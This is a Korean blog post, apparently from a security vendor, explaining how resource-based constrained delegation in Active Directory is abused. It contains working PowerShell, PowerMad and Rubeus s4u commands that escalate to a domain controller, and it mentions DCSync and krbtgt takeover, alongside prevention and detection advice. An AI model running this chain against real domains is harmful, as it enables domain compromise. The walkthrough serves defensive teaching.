리소스 기반 제한 위임 악용

대부분의 IT 관리자에게 위임(Delegation)은 혼란스럽고 복잡합니다. Active Directory 는 무제한 위임(unconstrained delegation), 제한 위임(constrained delegation) 및 리소스 기반 제한 위임(resource-based constrained delegation, RBCD)를 제공합니다.

이 블로그 게시물에서는 리소스 기반 제한 위임이 이전 방식들보다 왜 더 안전한지 — 그리고 여전히 악용되어 측면 이동(lateral movement)과 권한 상승(privilege escalation) 의 수단으로 사용될 수 있는 방법을 살펴봅니다. 구체적으로는 공격자가 리소스 기반 제한 위임과 일부 잘못 구성된 Active Directory 권한을 악용해 Active Directory에서 컴퓨터 계정을 생성하는 시나리오를 단계별로 설명하겠습니다.

마지막에는 공격 단계에 대한 코드와 함께, Kerberos delegation의 세 가지 유형에 대해 더 자세히 설명하는 FAQ를 제공합니다.

RBCD 기본

Windows Server 2012부터 리소스 기반 제약 위임은 리소스 또는 컴퓨터 계정 자체에서 구성할 수 있습니다. 이는 리소스에 액세스하는 계정에서 구성되는 다른 유형의 위임과는 다릅니다. 리소스 기반 위임은 msDS-AllowedToActOnBehalfOfOtherIdentity 특성으로 제어되며, 리소스에 액세스할 수 있는 개체에 대한 보안 디스크립터를 저장합니다.

이 위임 모델이 이전 모델보다 더 나은 이유는 무엇일까요? Microsoft 는 다음과 같이 설명합니다. “도메인 간에 제약 위임을 지원함으로써, 서비스는 제한되지 않은(무제약) 위임을 사용하는 대신 제약 위임을 사용하도록 구성되어 다른 도메인의 서버에 인증할 수 있습니다. 이를 통해 기존 Kerberos 인프라를 활용하면서도, 어떤 서비스에 대해서든 프런트엔드 서비스를 위임 대상으로 신뢰할 필요 없이 도메인 간 서비스 솔루션 전반에 걸친 인증 지원을 제공합니다.”

공격 개요

리소스 기반 제한 위임 공격을 수행하려면 공격자가 다음을 수행해야 합니다.

• msDS-AllowedToActOnBehalfOfOtherIdentity 특성에 자신이 제어하는 컴퓨터 계정을 설정합니다.
• 접근하려는 대상 개체에 설정된 SPN을 파악합니다.

기본적으로 모든 사용자는 10개의 컴퓨터 계정(MachineAccountQuota)을 만들 수 있으므로, 이러한 작업은 권한이 없는 계정으로도 쉽게 수행할 수 있습니다. 공격자에게 필요한 유일한 권한은 일부 잘못 구성된 Active Directory 권한으로 인해 대상 컴퓨터의 해당 특성을 쓸 수 있는 능력입니다.

이를 달성하고 간단한 개념 증명을 보여주기 위해, 다음 시나리오와 함께 다음 도구를 사용하겠습니다:

1. 잘못 구성된 Active Directory 권한 때문에 Windows 10 호스트의 비(非)특권 계정이 도메인 컨트롤러에서 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 쓰는 데 접근할 수 있었고, 그 계정을 침해했습니다.
2. 기본 MachineAccountQuota 값이 허용되어 있으므로 PowerMad를 사용해 새 컴퓨터 계정을 생성하겠습니다.
3. 우리가 생성한 컴퓨터 계정을 포함하는 보안 설명자(security descriptor)를 담도록 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 설정합니다.
4. Rubeus를 활용해 리소스 기반 제약 위임(resource-based constrained delegation)을 악용합니다.

1단계. 손상된 계정의 액세스를 확인합니다.

먼저 공격자가 액세스하게 된 계정을 살펴봅시다. SBPMLABnonadmin은 해당 컴퓨터에서 로컬 관리자 권한을 가진 일반적인 도메인 사용자 계정일 뿐입니다. 아래 스크린샷은 현재 권한으로는 SBPMLAB-DC2의 C$ 관리자 공유에 UNC로 연결할 수 없음을 보여줍니다:

Active Directory에서 권한과 개체를 열거하는 도구를 사용하면, 우리가 목표로 삼을 도메인 컨트롤러에 대해 일부 권한이 있음을 확인할 수 있습니다. 아래의 PowerShell 스크립트는 특정 사용자 SID가 대상 머신에서 msDS-AllowedToActOnBehalfOfOtherIdentity에 대해 전체 제어, 쓰기, 권한 수정 또는 쓰기 권한을 가지고 있는 위치를 찾아냅니다.

2단계. 새 컴퓨터 계정을 생성합니다.

이제 우리가 채워야 하는 속성을 수정할 수 있는 능력이 있음을 알았으므로, 업데이트를 수행할 제어 가능한 컴퓨터 계정이 필요합니다. MachineAccountQuota 값이 기본값으로 그대로 설정되어 있으므로, PowerMad 를 사용해 비밀번호 ThisIsATest 으로 RBCDMachine 컴퓨터 계정을 생성할 수 있습니다:

3단계. 계정이 다른 ID를 대신하여 작동하도록 허용합니다.

이제 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 우리가 생성한 컴퓨터 계정의 보안 설명자(security descriptor)를 포함하도록 설정하고, 권한이 있는 DC의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 다음과 같이 채워야 합니다:

이제 우리 RBCDMachine 계정의 ‘ThisIsATest’ 비밀번호에 대한 해시만 가져오면 됩니다:

RBCDMachine 계정의 비밀번호 해시

4단계. Rubeus를 활용해 RBCD를 악용합니다.

이제 Rubeus를 사용해 리소스 기반 제약된 위임(resource-based constrained delegation)을 악용하는 데 필요한 모든 것을 갖추었습니다. 지금까지 모아 둔 내용을 요약하면:

• 가장하려는(가정할) 사용자
• 우리가 생성한 RBCDMachine$ 계정으로, 대상 DC의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성에 채워져 있습니다
• RBCDMachine$ 계정의 비밀번호 해시(0DE1580972A99A216CED8B058300033F)
• 대상 도메인 컨트롤러에서 접근 권한을 얻고자 하는 servicePrincipalName

이 정보를 사용하여 Rubeus에서 다음 명령을 실행하면 티켓을 메모리에 가져올 수 있습니다:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

klist를 사용하면 서비스 티켓이 성공적으로 가져와졌는지 확인할 수 있습니다. 이제 도메인 컨트롤러의 SBPMLAB-DCC$ 관리자 공유에 접속하여 그 내용을 나열할 수 있습니다:

추가 단계

대상 도메인 컨트롤러의 관리자 공유에 액세스한 후에는 지속성을 보장하거나, 예를 들어 NTDS.dit 파일을 손상시키는 것.

또 다른 옵션은 Rubeus 명령에서 msdsspn 매개 변수를 변경하여 LDAP 서비스에 대한 액세스를 요청한 다음, 이를 활용해 DCSync attack 을 수행하고 krbtgt 계정을 장악하는 것입니다.

다음은 LDAP 서비스에 대한 캐시된 티켓입니다:

그리고 LDAP에 대한 액세스를 획득한 후 DCSync 을 실행하는 방법은 다음과 같습니다:

공격 탐지 및 차단

이러한 유형의 공격을 예방하기 위한 몇 가지 전략을 살펴보기 위해 우리가 수행한 단계를 빠르게 정리해 보겠습니다:

1. 우리는 도메인 컨트롤러의 ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ 속성을 수정할 수 있는 권한이 있는 계정을 인수했습니다.
2. 기본 MachineAccountQuota 설정을 활용하여 컴퓨터 계정을 생성했습니다.
3. 우리는 생성한 기계(컴퓨터) 계정으로 해당 속성을 채웠습니다.
4. 우리는 Rubeus를 사용해 DC의 LDAP 서비스에 대한 티켓을 요청했습니다.
5. 우리는 DCSync를 실행하여 krbtgt 계정을 장악할 수 있었습니다.

예방

환경에서 이러한 일부 문제가 발생하지 않도록 하려면 어떻게 해야 하나요?

• Active Directory 권한을 이해하고 잠그세요. 누가 Active Directory에 액세스할 수 있는지 아는 것은 이를 안전하게 보호하는 데 필수입니다. 공격자가 환경을 악용하는 방법 중 하나는 컴퓨터 개체의 속성을 수정할 수 있는 능력입니다. 또한 환경 내 다른 사용자의 그룹 멤버십을 변경하거나 비밀번호를 재설정할 수 있는 능력 역시 그만큼 치명적이며 BloodHound와 같은 도구로 훨씬 더 쉽게 악용될 수 있습니다. Netwrix Active Directory Security Solution 를 확인하여 보안 설정된 방식으로 AD가 구성되었는지 보장하고, 과도한 액세스 권한과 섀도 관리자를 식별하며, 실시간으로 정교한 공격을 탐지하고 차단하는 데 어떻게 도움이 되는지 알아보세요.
• 위임해서는 안 되는 민감한 계정이 해당 정보로 표시되어 있는지 확인하세요. 사용자를 Protected Users 그룹에 추가하거나 ‘Account is sensitive and cannot be delegated’ 옵션을 선택하면, 리소스 제한 위임 공격을 즉시 차단할 수 있습니다.

탐지

리소스가 제한된 위임(resource-constrained delegation) 공격을 탐지하려면 다음을 수행할 수 있습니다:

• 비관리자 사용자가 생성한 컴퓨터 계정을 모니터링합니다. 비관리자 사용자가 컴퓨터 계정을 생성하면 속성 ‘mS-DS-CreatorSID’가 채워지므로, 다음 명령을 사용해 해당 계정을 식별할 수 있습니다:

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

코드

• 소유한 계정($myaccount)에 대해 대상 컴퓨터($target)의 권한을 식별합니다:

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• 도메인의 MachineAccountQuota 설정을 확인하고 PowerMad를 사용해 컴퓨터 계정을 생성합니다:

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• msDS-AllowedToActOnBehalfOfOtherIdentity 특성(attribute)을 우리가 생성한 새 컴퓨터로 업데이트합니다:

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• 컴퓨터 계정에 설정한 비밀번호의 해시를 가져옵니다:

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Rubeus를 사용하여 RBCD 악용을 실행합니다:

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

Kerberos 위임이란 무엇인가요?

의 실제적인 활용은 Kerberos delegation 다른 사용자를 대신해 다른 서버에 호스팅된 리소스에 애플리케이션 또는 서비스가 접근할 수 있도록 하는 것입니다.

무제한 위임(unconstrained delegation)은 어떻게 동작하나요?

무제한 Kerberos delegation 은 애플리케이션 또는 서비스에, 지정한 다른 어떤 서비스에 대해서도 대상 사용자를 가장(impersonate)할 수 있는 능력을 부여합니다.

제한된 위임(constrained delegation)은 어떻게 동작하나요?

제한된 위임은 계정에 위임할 수 있는 서비스가 무엇인지 구성할 수 있게 해줍니다. S4U2proxy는 Kerberos Constrained Delegation 확장 기능입니다.

리소스 기반 제약된 위임은 어떻게 작동하나요?

어떤 개체가 어떤 서비스에 위임할 수 있는지 지정하는 대신, 서비스를 호스팅하는 리소스가 자신에게 위임할 수 있는 개체를 지정합니다.